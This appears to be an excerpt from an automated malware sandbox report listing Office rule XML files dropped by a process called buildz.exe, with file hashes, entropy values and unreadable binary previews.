Preview:	<?xml.R.....Yz).....T..Eo. ...(v...&..>......a.?.7....;.B.......[`.q2..$x\.,..B...M>.".M....:"..8..6A..y.t6.g..{.M.\|.W.^.G.....M.. .d...Q^q..C._....?...lA.?....S..x..A..W..^.....yqC.@{j....$.mr...u......Z..58......'....[..x\O......{K..z2j.qf..z&nKK....p.w.{......p+.....5N....Ga.......b....+.u..R...:y...b.....g.P.D+?..,..9Y.P..>..ixx.l..W ..u.,.... W.c.>@.]^.(7.[.....e..`....~.f).0G....t.&..U:8.t_X'w.%........}.)....#...,T....a.a..~..N+M...]..m...s.r%.......4....:J.\.._.h.......^5.... .......!C.B[..~......7.3.q(cn6Z.t-u...'..6....<:{.....JA..Z..6.I.Rb@.p.0.\.D..p..S..v.^.=.....52...#."w]..oj-..Q..nR(...nT....m.BR...+.K...\..F.].*i...xBU../3.-..b3,~9o[-.....U..f.vf.K..T}.ayj..u!...`..N:.rro.(.j..... ...T..E.:......BN........)3..TX..F.!..4......5.".v..:,K.>......A:...7S....8....TU O.7.6.)o....-:g.n..K.G..#.5..<....]...o...h.j..SGj.{r.e('......").6.<.k.........\|....O5C.cu.2,pJE...R.L\....].#.B....`.B.-...fe..@."..K....<.....u.."[.f..[.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180181v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4490
Entropy (8bit):	7.956148874097788
Encrypted:	false
SSDEEP:	96:dJbXFN3jzzTOye/TpmEQiEnZnZ8PNiVzpAKzY6CGb6iTJ5CxCCxw+:nb1N3PGBTenZnZ8PNiVz9c6CoBsEi
MD5:	15EF5ACBA85CB91132DB56369CE01352
SHA1:	A2AB68594ACFE14AF3C40A4663C2D0E84F654A72
SHA-256:	E77BAF082DD3E5984F743322DAB76E591B9A9A19145B4F6EF3AD173B65D46709
SHA-512:	9C43A558F99B3CF6798C87E827D5AED76603E22CCEAC5E15100AEED6670844498E59C2349371AD8A48D489B56239F30D038BE0E662BD5F6C439A44EA61AC0226
Malicious:	false
Reputation:	unknown
Preview:	<?xml.t(.Jon6...yT.[....K...X.{N.F..?..<.F}=.p7hP..!.........Q....~..,.3.X.....c....t....}......;........J....;....u..J30pr.F.!Y...Y1..$g....(^.v9;..&.......OlI.U..#2...V.1V..8\|....b..\|........5..+pa.i..5....:.\e.v......S%..&'.n7....1p....K..S_,j...I.h.....tL..]].._...<...T;......!.N....VE..<..C...&%.@~zC:).....tI>`&n..t6+r-)Y`V.z9;...K.c...2._..+.`..z....3...V)....P....c.<..1R..v......G..O6...#..:P.....P..V.Uod.<...s.X.$'...t........i..{S...S.@-k..x...<.....%..H..O...v.u?kz".+.......YP...)..&../..@.....m...1...+.[.q.._..m..a.\......(!.!..`......1.Cd..9.V.g.D.(S\.z. u.OH....!.....G..cs..P.s6.!9Q.C>..........y...pU...X...!.n...x...B..=....e..l..f..1`..z.I.h.v.d!..Ax.l4..k..........YQd....uU.....L..`...O... Y}u....8.(..Qb>..n..C"..HQ..l....\.#.dE.Th..-G....uJ...N.}`r.L..F=).K........6..!.g./+.K.....^f.....Hv`....l....ZV<.g....b.l..^.1.#.Sj.&.\|.7.+..Kk..............D=..L..j.4H..vT?........Zw..i.An2..G...n_..@.c...s.`G-t.Kf..;..G.M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180182v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2316
Entropy (8bit):	7.920843315480251
Encrypted:	false
SSDEEP:	48:Kdrmt1f1opk6m+/RWFkEcMnSLT8aSuCoZf4pV7zH8yBUwqVXSmD:jtzwkD+/RWFkwn7lYfGVTB+VXn
MD5:	B1D8EA7D1AB53BD462622383DA82BFCD
SHA1:	976051AA80ECD2BB997CEC1B66F4A8E57189840C
SHA-256:	1B8E36ADA0315E4A920FD3ACB2F98888E7B09E4DB91DE27CFBF07CEBC40B9835
SHA-512:	746E49DB8C4133C8FDAA92A179BBA45B2BF38F0D2C93E6208E6F5AF107C800B4333988896B9853E5C6774BE222E101711BC7821B79225F72EDA4419D7B9A58BC
Malicious:	false
Reputation:	unknown
Preview:	<?xmlqU.....m.FM.....l..~:.]......p ...<?^...%.)[.../.............4......c'.U.#...B.w(.....m..W....23r.j...;..'..Q ..:nk.^<".&..Y][.l.\.-..'.gD.4..].....:.F.-i\|.#..d...u.n...8....Z+.).Fy...'.F.......... bJ.....X.9..8h..Uf.H-......;j.....r......SJu.....P.f......#....R.C<S../o_.+;.# I......;.\G\.5.w4..lVi.n..Gd.3.."^]/n.V.k..+.W>.=...#.}/..m....z.N...._....n?...;.....a..f+b.q..i..mO......{g{...~[7.).V.x^/.;.....6I.Og..}.'......S.<2xa...1.D..)x.LNWd.B...[..]..AI_..C...%...L..*q.4........"..........>B0...;6.ro.~T.......yYN..(K.Q....7..w.+'..U..qZ.a.Yq:{g..Q..1i....:..W.....9.q.B&"q<..1fD.T<....`..%.~..L..........p...\|^w..................4..[.>......X.. +r..:...!..R....>....I7G`.....(}j.q.e^..u5(o[?....?...y3C)7.dS.UK....B"M.g..qH..esZ..c..D8.V......./.V_/...^..yu.S.S2..~.~..b.dp.E+...r..:....6..Ql.BAKk...(:.ep.. .4..@.qL...x...9..F.y.l.............}....?..,.Wg..".(.J...."&..%..c.....\|...E'.9;+.....,H.....0Z8.&."..Ve"+......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180183v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	7.918480623849016
Encrypted:	false
SSDEEP:	48:gx4EwofapFsSDAwF4DDerBw60C4yRu96fkP3MtcwPAKduL1Tzs7YxmhUWJD:pETk1FXrykXA96fkofAKdIcOmu8
MD5:	26E8023C757D1928487109D3282C8970
SHA1:	7532CCBD35A233EF0694CAEC7019254491C2A18D
SHA-256:	7EF38A1B14CC64E3D3F2E2DDAA9AECE1D1C2EC9BE3BA0D9A08274D263D068519
SHA-512:	7C793998951894BF35B846BA102D5418745C2E3511BD43BFB52A3B13BF80606A3297628A2E0F7C4E2B146CAD9E3ABBEAE970F72815A4B6D99FE915F09D6D2CAC
Malicious:	false
Reputation:	unknown
Preview:	<?xml.&.Sj.5..g..J.......>........)..Q H_>S'...?:.y)..L\..!.....x.{.v...&..........~......h../.4(l..d.C....K2.......S.g};.+...2...l...,k1..Slfvl.F.../.t.e.._.6J...........$.(..e^.Dg].9[...M....I...ktg...Dk&....S. ..R....B.Q..v.. _.%'..<.....j._...d.~....SM..)7.#$...s..UNvx`6f.t...ooI........TQ.C.)I.[..5w......D!......&_.......v.{...../4....Q.....g.D..6,.`...#...Y..[O......^O..../.k..\.<.q..$$L@..o.J.Bu.......`.GR..].``....-.....K.....q..pO...n.....[.'g.\|....?V..!v..._.\..J........P..y..q..m....4..,@=.]U.v...z......IH.I.1...G.{.\|.[ .X...<P.N6..\.7..+b.#.`.[...?.S....{...=..N#.+...`..b.~........../.....Pq.NR.vO{%........u.y..~..Fv.{..u.3......8.I.RE......8R`H.zu8w>....!...E>.@_ty..3.F.,_...0.:.....x..`....xk...1Fg...v...3.&....i..TA.....(p....S.e_..... ...j9..{.s.....r..M.6@..?D...].....F..V%._c3.r\..%..{.............N..CK..J..h..{..`..:..!.v2C..1r...9t2/N..D...~.=u...............M..A..Z.\|?.cFql.e.+uW...V\|..M**.Cv{...x..0.$..x...i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180195v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1591
Entropy (8bit):	7.884878885962727
Encrypted:	false
SSDEEP:	24:dWopJF2DIqZWs2THeqtoj+WI5Pq1wmOGv/R0nqJTn3k/EIZvNh1TVyRLDYbD:dWorFoIq2eDj+WCOwm76nqJT3LkvsCD
MD5:	554D3D31C8D2E121536A3D0DF5707890
SHA1:	D4069ADB202B98802B354BCD4BB378F0126F7D77
SHA-256:	4FB2789CBE6AABD2DAE36ECEF9868E08BB71AEBB3A20B4F83492ED61FF8F1693
SHA-512:	0D864FD4E2BD12D91031CF469D9B70D55849F871EFA338F09C95016DDAC03E36434C5678AEEB11E3D64B40017C40E9AF1B29506895B390738804C4C75F76060F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.h.....x...VG......>4.o.;L.l.....Dx.....kn[..$...{w_.........".S.B..x.....Y.$.H.$.2..<<v.R..?`.....XNP.L......q.......LH} ...h.J.".H.........Lr<.^`].!..z....p.^.C)....r..$ . .3.......d......6..C"V3d........(^BMM.V.Q..~.:NB....W."...o.`.WE.Q\.......p.e...)xGGvX......S..'..>.k...t.L.M.bs.5.UFT.......8.DeA_...Fk.D\.....A.j........4.N.<v.5.5..3.......N1Q.9..,.s+;..3.u=1.k./.1;...... .....g$.F<.:..k.L8..L......a.".LE.`Kt.5t.@O...?.$..%....e.g..z].3...w.v.]."..7..s/_.......jwo....\k....~*..,z..XE2.Yy.d...+..g.Q^.1...U...!.....i..T...x.....S(..uV[..m..+..1.A.#.1`..^vo.B..1A....$.].,...(..v.8.w..2....3.$......AjPe....W>c.....Rq,^......LPO.x2........N?py.?sHX..U.U..../.."..Z}.n.....8i.jtoT..$h..ist.....8.3..@......%..+8)..M.sw7..T....t1B.J."...;v=B9}..(........#M.$+.[B..h.G......../Fs........,'q.F.f...b~.....ca..FK..R...l.y.6R..$.g.5:.~;...e..`.../.....H.UbDx..,..V..J......,....^(.x......{Z../h.f_.....Ul..[..... .t...k..=YJYS2.f...\5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180200v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1013
Entropy (8bit):	7.811780686097136
Encrypted:	false
SSDEEP:	24:5Lx2AlNvAADW0VaFCnm2DOQspLeQXvK7W5/r7SbD:50YvAiYFCn2Qsp3XvkWhoD
MD5:	0A49B4210B4CF445D4070B816858E631
SHA1:	0E9378FA5AF71FA3A7938F616EA514B56F18BE17
SHA-256:	FBB1C6C0E0F57DF331CA7EB8FC58253E2EFF35FB56DBB16861409EB3E2FDECC7
SHA-512:	601AB111D2795742754D1DCCC8E921988EB4276C8C921589EDDCF622E92F0D87C28EC04F94C0A932F50871F9028A43E898214172725FA84F45DA03C8ACCE407F
Malicious:	false
Reputation:	unknown
Preview:	<?xml2Y..l..I.X2.z..p.....v.@MGO...^...{o....<0.qO...:...r..Txh.;........8...;.........dA...Y%...fQ$n...i5.G.kf..l...+....j..).s6..vcM.<..'.d........l..~.......#R...B....m@.&A~@.9x..FW.....!...;.Q.fe..G...J#...Y..k.....?...ys.n<C^".....r.gW.........u2"$..9.p../w.>V.X...[ .l.K...3...V?-......&.!..?.HO..b....c..<...@..\/..b.:_..#.${.h.2....l..T....)..K..a....b$.......b...;...u...@....oT+..fmQ......?.d..I...~a.(su....IJ_..~A. )\....Z..o......rm.8..n=...].vwDe...K. ...t.Z...(.....9..z.....f..nt.$3.....X....U.......Hq......$I7......^#..]..;...=d......;gS..`..^.O...9C@.1!>A.T..k.0e!...~.5..-.....z$.aB..}~..<_...3...(g...!.>..\|-ys...&v/...V.w....S....0.h)..!.P...S.WT.....Sw[v..yc!c.......r...;.3.&#..F1-...6\.........v......................5.hi....1,.Piw.4.X.g5.......9....-.... .... ....V..9......,.%...8...\|..w...u.. ..t....A.$.**.[..:>4..2"...iTh.M...w:.V..>..J..!.....kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180202v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	704
Entropy (8bit):	7.737542159361252
Encrypted:	false
SSDEEP:	12:JEr4EL++i3scDQuhG8GkSk7qSMCJd2ImqE4hwCCLYQFkj9hatRhGyJqH1+cii9a:KkEHIs8tckgWdxmqEKwCCdUrat1bD
MD5:	4230BCAB575D69AE131323733DFD7264
SHA1:	FD307217A0FB37B8C087884D9BBDF37B39F6E33C
SHA-256:	BAD04EB1B2691CC82FA29D3D203290C1A6DD9EBDC5A692F4F22F9C59769582F4
SHA-512:	1228933AFA61907FA02C3DEBE1E930CA3BA0B7097EF835E0A414CD8BEBF60901DC1C5CE712B280A3CE25E57780991F216E76A82FA9937810346BFE96CAA6BE34
Malicious:	false
Reputation:	unknown
Preview:	<?xml...#.@L..B..j....Q$p.:lOz.....w.fs.p.>.. .....u%l.g.FpAS....g.G...g......M.2..i0.A..G.-(].....O.6...........~K.+.pL..x...8x......=...k..p...,..2].C8.m...X...m...n.+.C6.......,..{.T$..U:s.@K..."U\|b....-.pwp.\|....5..J..*L.tZc....q.......H.K..y..........k;d.1..jw...?.h.}.t.#.V.].....+s..w2.&m.>Xd....B.E...5....mGD.>....A.<.f.-7\|Ie.)..r.'..{.k.S...H..Y..`...Q.1.fy!^.f...x-......I.Y...........C6..N.....p>.7.(..4{s0...!...y.xz_.j{b:......k.^&..........G."...1......"....\.C>N....\|.q.+..'G.Iy...Gn6V.cRr....{g.z../...sc..%..Q.!.........X..e._.#......3......>........D#..P..t..I..@SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220004v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	7.816431678522582
Encrypted:	false
SSDEEP:	24:CebOQ8P/KKQzNUv8j2quiY8GV6nHaI/CgMPPirVlbbJHbD:jStnINU0jzTGV6h/CqplPJ7D
MD5:	70368057FF8DBF27F0AFC96B33F51E69
SHA1:	E5EAC07CC1F49324DA9F2C6791D87CB9BFFCBEFF
SHA-256:	2DA0377670F0AD790D6B70BF34E6A0B0B727F2EEA0AE4A5889AE62C754228FE4
SHA-512:	76F403244E08821ED6CAA555AF450318EF87E3700AC2B05D4C57E195AFA7E9436E6E1EE5234CBC6C0AB26C09DE146B94897C0AFE42BBD7BA9B763B3CE2DA10BC
Malicious:	false
Reputation:	unknown
Preview:	<?xml[!.V_..W.y...(.......[Lm(N....Y.'X%.Ck]K!.:..b.. 3;/.U.(.1p1.rX.o.u...B.o{`.U.F..#..r....S.bv.....1).T+.?.W.@z..vL......9..a....g.iS.t...U....y9.I.L%..]%2.k&..=..Y".))L(.[..!3..EF'C. ..`.V.b..c....z.0.E8,\|>/.. ..Yv.\-.V$.1!!.$.@..}N...I......Sz.]...!W[....Q.3.].;.}..I.7.....H'.P......~..G"..q!.!..-V.?..<.P<..LB..(..!...Y.[.R6.A.qQ....66.@.......b{....}............0.Y..}'.{..D{e...2..m.m3Y...(k7..Z.[..\|.D..&^.....#.o1.`(%hYc..n..............K.. 7h.,..&-..c.* ...........w.N....:.[.y6._a...9.~.'{.f..1.f.D..u..].....R......h.k..yy....\.#.8..b.}1r.w....F4.).....Lv._....tc 7.\.#5F...$.r.u....5J.6.T.I%...<.D3..Q%..@.v.Y,....g......j..+ .^....C...(..L..;....@.r.TB.I?X....c.G@..SN.7.c......C(.#$.'Vns!d..dZ@...3.."Q.1.6....p...g../.....=..{.z(%..Z=!.x.ib!.&f..u...s.,.y.6.t[...l...w...X.h.1..<?jm,.\.Y...e.....&.]K.\5n....5.@.F..)..=B..*..e...%d......+.q....m!..........V.}Q.........Z..)d...lq.g.H..j.)...$.........x..UM<.9..^#..%J.O,$..M..it.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220035v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.692709446520158
Encrypted:	false
SSDEEP:	12:hKytbHv7x4wWdzQbb0Z7bArbx/+fgVvbWgtTqVRgLC6EU2mz1+cii9a:htr94wWdE4dS/+f1gtTOgLCIzAbD
MD5:	3130F05109881197B2DEBE06810466C4
SHA1:	04B2CDF50BFDBF6EA5ECF28998AE98894B27E4E6
SHA-256:	9AD4383E22A8574CBB6A983F5E0975534C198135027149014ED87156EA825F68
SHA-512:	F7DE4517CA6A4222672DE7EE0599597DA7A16BB21F2C32A6EFF82B6C2649133CEA1F18914B06A34178C38313C0718FA1562D342EB1AC7F9DC6CF12A1F621C645
Malicious:	false
Reputation:	unknown
Preview:	<?xml..Pv.>.g....cwu..............R..q......#.....3..`.....P.A.....\|.`.j..@...:.]6.t+~...S..>..@...!5..ssEC.4.7.i'(...f.W>....q..7. 9...G..1i.v.o.NZhM.7.).z.EPQ@;f..<..P.!{fI,n<.iP...m}.)..5..4C..r.85.W....A.$...@.=...Y.0...r..;s.z...\|....%... .....`....'.\|....QL....N...$..........x.....L.S..\)....{...?9..9...%Z).S.IG..B...ep....[..*.WO.a.N....~NZZ...8x."..q.q..-tB.O.R&.SB.sos..{..~J.Q.TNZ..!e.DT.]..fmb.?.-....4............W.GI.C....frGs.b.#.nW..iK..0..h._.4h....X.5....N80CYEm..O;...@.hA..^.A.L...q-N8...e.S..>.N....a;FI.........%..\|oS.C..$.U.V....8s....6.G..p..Q....MhA.`.!F....Lt..\|..w.~.-.e..?).AN.._4.z.:..?...B.\|....r.........V..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule220036v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.725145662533404
Encrypted:	false
SSDEEP:	12:mAkb7qB3RWsiocIJfQSjwqs0Fmym82DrJ7EAxMo0i1L/PFlChkYSX6AwnN98qv7a:LRpi7IJRjwqs0oDnh5Ci1L3SVSSN98q2
MD5:	324168A4971936B17DBD2B6EDB4794B4
SHA1:	61A03C64D6F4CDB410E8AB80FD1DF9F8F8710DE4
SHA-256:	96F684B60BD5F65E5F8B3D695E043215343033D7C0DC80ED7621075C0042C8D9
SHA-512:	9DFCD475140F32A970FAD017E8744941A4031E1651B97C49E29533A2562984BFD07136C91947C49EBD71A267F199F8D2281C183E62760EFC44587069C2A08B9F
Malicious:	false
Reputation:	unknown
Preview:	<?xml..Q.....?^8.=....3..y.>......).d.....?....\|..p`.E.{MP...N.........rg....!.$.(M.,....*i]....!..R9.....!..7..;U......K..Nd-...b;..{N....l..(J..D..pt.........]..W.......ja.Z..^?..U.v...Nr....S....... ..G....6.......M.-.........>.@....46I..[...B.e.a[...@0.A...."...+.Zod.C..4.H>9.K.uS..n}l..w.n.....J.{.....b!...v./..^.....e.....9x..)."D.g.....f..k...-o....T..3...Of......S.Ng-7.S.Pl...\|^..&lh...K2.K^..}.....Y./...Y%..`.6o.....g.P/....yl..@.2.o......wU,.s...s.l...V...3yh.......>s=.J.....a.w.:..z.v.h.#...+.z..7.x1....$~bx@...G....<........+..S...MBp..{'sBP.../...?5X..!..mEH.L')....oHh....>..AU#..B(1_H...\|.T)./..R...PD....>.g.&......:.Fhf..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222015v6.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.8736352186352425
Encrypted:	false
SSDEEP:	24:LTXBbntixs6fVTrIsYKJgSKyBNI1DB52cNcOGIADePe0I7Q3grBoAfZzJ/f09DjE:L7BDSxDYKAyBi44gIlKMwNo0Z9/QjliD
MD5:	9FC85245048F4157FFD9E32AB8CDAC02
SHA1:	44DBD932E6E7275C3703CBCBD3F1F42FCA3A9A24
SHA-256:	594605D5380735617758248C334D4D40DAFB33803E54439BA36112C455B12FEF
SHA-512:	8D69BAF5DE17F81ACA7390E55E77B319E4324C6D052C19B44319BE07F30A26AEBEF3E018A7B57403EEBE687700FFD5C3B3DE9295393BA5D4F23343E9E36AEE10
Malicious:	false
Reputation:	unknown
Preview:	<?xmlX:......ns>.T..8..`.....2....D+.(v.b.D...2..-8{...M....9S6..Kbm..@.I.........H.{tM\|..H.J.<.....M..i(....T,.....Q.m...sO<R.i.E...K[.e.5:.~.bQF...f..W.c.4L.#...3.._.f....i.?..l..\.e...c.7...r..`-W(...n./6@UJ..].$....XP......c.......\.....u...2......o.p.:.z..~^...^/'.\|...A._.u.....e...r..<>..=Gr(..B...`....+.......ZO.........P....Q".K..~.]Wd.......X...oN{Z...Q..d.o.):^..y...R.1.P.w....N..<F.......E..pSP.EH.,eO.;....2'6.8....T..-.h...9...g.3.u-....A.=.MK!G.}......9.&i..8x.C6E.f..f..._.4I)H.(.. P......A..u../..d..A'o..O.7f.p.8z.=....].T..uu.Kn...wv..SL~......Q.....].y...i.<.7..d .o.....Y..$A01.2QbA{O.PE..n.{.i...5.e...D..GA.....J....*....W...1.....``m..L/-5.......y...+..F.T+@..F.F..'...S...^../.....,BK.h...R.\!$.N,$..(T.g.".o.7M.t?..?....h.`<oE..R.k.\|.^..d&...k.L.`'4.=L9.h..ot.K....D].Y[.b..i...P@$(Hli9V:.FZ.s...M?..,$..+....q...?d.[.~(.cx...BI.(pa.Z.s..L....niU.....f.C..E..=!..EuR.&.6K.R.....:).'!4..7E....R.......y...\.^.J.^.]U..d.D..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222042v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	882
Entropy (8bit):	7.786647165892484
Encrypted:	false
SSDEEP:	12:wLt14owbO+kjiuS99+iUBDrJef25wHpUK84AJ7lXlCC0GIF8spm0iMbmKpfKNU4x:oL4owaPs9+Xp7IL84aBlCTRphzKNJ5bD
MD5:	F87E42802891D5BCBD58609EF68733DF
SHA1:	74E20F84A6111DC645077097D3385C0FAFEE56C6
SHA-256:	B40004B8E02886B561E6F63EA120DE7C366EAC9102A0063926B4773BE5F7E6D6
SHA-512:	A162F68B2B568B5E88440348B9981FD10DCDDEB21EE573E1C12EF3E8A8F3CAF8C9C79F41D33B1E83675D320E3458B61C2925ADCD3DE859125B3D1B4AC79AF5D4
Malicious:	false
Reputation:	unknown
Preview:	<?xml.j.w.x.......$....m...Ne9.c...(.HksNqa.....w.<.....s......_.z."Hf.S~.=.`...Q.c../...,.s...Hr....Q..^9..x5...c.n.^..).j=.e.$s.}..HQ...g.of%.(.:....UGm.P.\|.z..6...FGB....(..UZ........Oc.r.ij......+.U..4Py.wK6kF.v.C..1."4...../......V.t..].`..%..s.X.........&...y...^.A..W.............Xa6s.1..>t;>......x.UNF........y+g.7.R..:=X..w.LW......+5..;...T@...B/qE.N~.O.W[NTF..w....9fy..R}%.....z.n.b...q.r......!......A.^.!a.. .%J.o......8..V.{.j..V.r....x....r"....'.x.#.]%T....}e..k./u..m..Qq....~....qy.)..~..=.JW/.b..... ..~.h..-.bUl..L...p.&/.;..d..V.x..s.>...a....zy..:-...b.S...S.......?...k...X..6^....[\..}'%..{....~...$..7AB...3.Z.R.{$...:..`..!..&)./...($^t.2..;..x..N......81..Aj=oV..Z.x}ct&.=....I....A..C.....N.o.iSf....F. ..)......BiB..).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222043v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	953
Entropy (8bit):	7.782395673119174
Encrypted:	false
SSDEEP:	24:mZQGqSSZbUr4yhkQ5TRA/ulcnhC/icCpOp7bD:MQGTSJUrfhkwRAacnY/BD
MD5:	5A872B23A05904FB461D51585EADE7DC
SHA1:	CA31DB331518EB3CC2CF4804A928F22C90CFEF45
SHA-256:	3514019C22B683B6B76FFEBF10E4A8007F68A0E04820E970387DF5E4C2E63491
SHA-512:	DA630860DAF9F058855C1E0F4B330B4BBE9280E10AE27A6483653BFC28CE3E8264DBB6F5724D7039A7CA131C2DC07352BD63EDB0C3339543B3AB8E2366597205
Malicious:	false
Reputation:	unknown
Preview:	<?xml+....1..).].y%...#..WG(..iy..+I>......-:..p..i8.{?".....V........<^8 ..........d..\|$\E...+I.G7.p.....[.^...@;......&]!L........q..U{8...l.'.=.....~ .I6.i..;.l.O....Z...n.~..\|..:g......kC......,.Dr5.K....]..f...P.s..'.../..c,........u.k1..H_%\..j.k.(.'.....E..:IH...S.~.....mk.U.HM.....l5..........v_J.7.\(5.)....Rn'`Z..'<a0..}.,9f...R.\|.am]M...........0...zN.).y.......aY...w..[.E..).y..k..q/.B.G......%.........j.6F.mA...ODi,..AY...S&....c..s...)6.Rk.-TN7..@.......JYZ'..\.[?u.P~.S%..!..u.G$-.{\|.i<Mb.D{},\:...V#..P.i...#.O...G..D.."...P..xM.Q...zuad}..P.....k'.+.........%r,.&E"........g,..>...B..`r..&t....&z....k..S.........x~.j`R.j'.U.x......$.#....O.=.....5...!.(.g.mn#..z3..M..R-.`.......9..:..9.}.-P....l.....1...e$...t.9.wC.._(.......q5.C...}BDDI.h.Gp.E..g.s.S#.....l..}E....4:%..-M......j^0.`N@r....I.sc.%.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222049v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1139
Entropy (8bit):	7.826727890521511
Encrypted:	false
SSDEEP:	24:uNT6viF9mlCBh4F4T7y8aH+gTBGJU5xBQD/0koJZHL9ZTzbD:uNTDzTuHZeaBbxBQD8bLXnD
MD5:	139AA93BEE40855090749121F24896F2
SHA1:	A55B3AD2F6465E8046341D39B1AD0888796F6A76
SHA-256:	208971D010834010A0A7AF096C84FCE970CBEB592A90D9EF8110325CA09C7A10
SHA-512:	4C365A8E65EB12DBA5CA5E05393E344BC91275CAAF036038762AA16F45094E0E871AB8F49C06EEB1862A717FC3662FB4DBDA66C3F7638EA065282B68251ADF63
Malicious:	false
Reputation:	unknown
Preview:	<?xmla...Px....bc..k+,...A.5-'...+..E....V....H..C...wwZB=.._.J..~j....Et..M.].....#3.9...(...?...\.Tx...!f.'.....8.a....Y...U.N....._,.?...6.p.F.8R..%..w.G.w.Ai$.<..D}X.\|..U.\d~.ii.y.'..mI..Fp.`..s..r~0...>......g...B....&..c4.f.C...%V"....3p.H..dRz.)...7..Nc...4$t.A...!....O..1W..S.p.>Z.#8[..R#.]{".r..Q...;.~.t.k.k3.R..[.P..9.]tG:.wr..w..?.....ym.....4..._..e...K(.?...Q..LL...X.F<....\.%.#id..........].B......u~.^d,..S...3..\|.;]bw.3....h...........">.y..N...-w..!...2...Z.....K.$.....M7.P>...RH?.$.h.1~C..:.-..U^...?.l......c...Z.y....Q;m..c...@.`$ha{.K.H{I.....p....;d..b....\U..E.guGg..{......$..............J.MQ...*...dD.....^.j.-u....y..{.G.0q.=.......Cb.-J...!.".+....6TO&..K..5L.......S....).&.{!. K.c.\|V..:...;...\|...+........8.5..3m.vj...,....e...T?GY..i..>2..R.+...X...P..E.d.a..`....G.>,&..L.....1~p....I..s..!..s._N.C^........'..E..#..._.C.(....N{+c........M...>.I.V.l.'..u.Vi..B....d..Z..bi.%.S.N?...`......[n...:.c.jv..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222100v7.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1678
Entropy (8bit):	7.890827230497419
Encrypted:	false
SSDEEP:	48:u9Kvq0XURHQ3CbbzjFlJmezOFt122/2jTewHzD:3vq0XURw3mbzBWsOFtY2/2jTnHf
MD5:	69605C435A4C6382C0C9F6A754A0F803
SHA1:	CF12B3A1DB086CDDF2294B42AD5842A9CAF34525
SHA-256:	C33A4CBF0F6974715206FF6CC09AA223F262CC2EB0667084B479B926DF9AAEDD
SHA-512:	12ADF2A7B1F21EC1DE680A88FFA343899F894D821D775C46B5C4A4ED848FD558671A4011DCEA194A8A4C10A465470ADCAEB8A2E6EC98B074A2249299121787C7
Malicious:	false
Reputation:	unknown
Preview:	<?xml.L.a.....M.z.hf....v....6..... \|z...f'...... gO.j\|.U.%+a..q@.....\|_......n..b..Bc....M.....s...8.)S........W$S..._.....Q+.Z.,Q?..mF\R..>.#...}...$..Bc3....8n.d.Ko...x{........%....>..\|&7....q...H.f..N3.)........!.(..@..[3B..O$,a.o{....{.ihR].....#..N.. ..^.m..i..N.i.o.............g.,C..%..51^..O...%.3DT]1~...........:T....np1tH.._.....(.[.........rr..c`E.....O......X..\|V..v..D..:T....H...T:.U..`?.4..B:....q-........s......s9..4U_.[.dG.{.....).......)E......O..z..S!..ua..+:X4.V._.'.&....l...........(E....K.=.........P.W.m......ib.....X..X...\|.!hP..-.x.....K.b.g...W<...,..>...1...Y..oy.0......^.....v..A.M..o.#.m}R i...%C3.x........%...%.Cv.:. 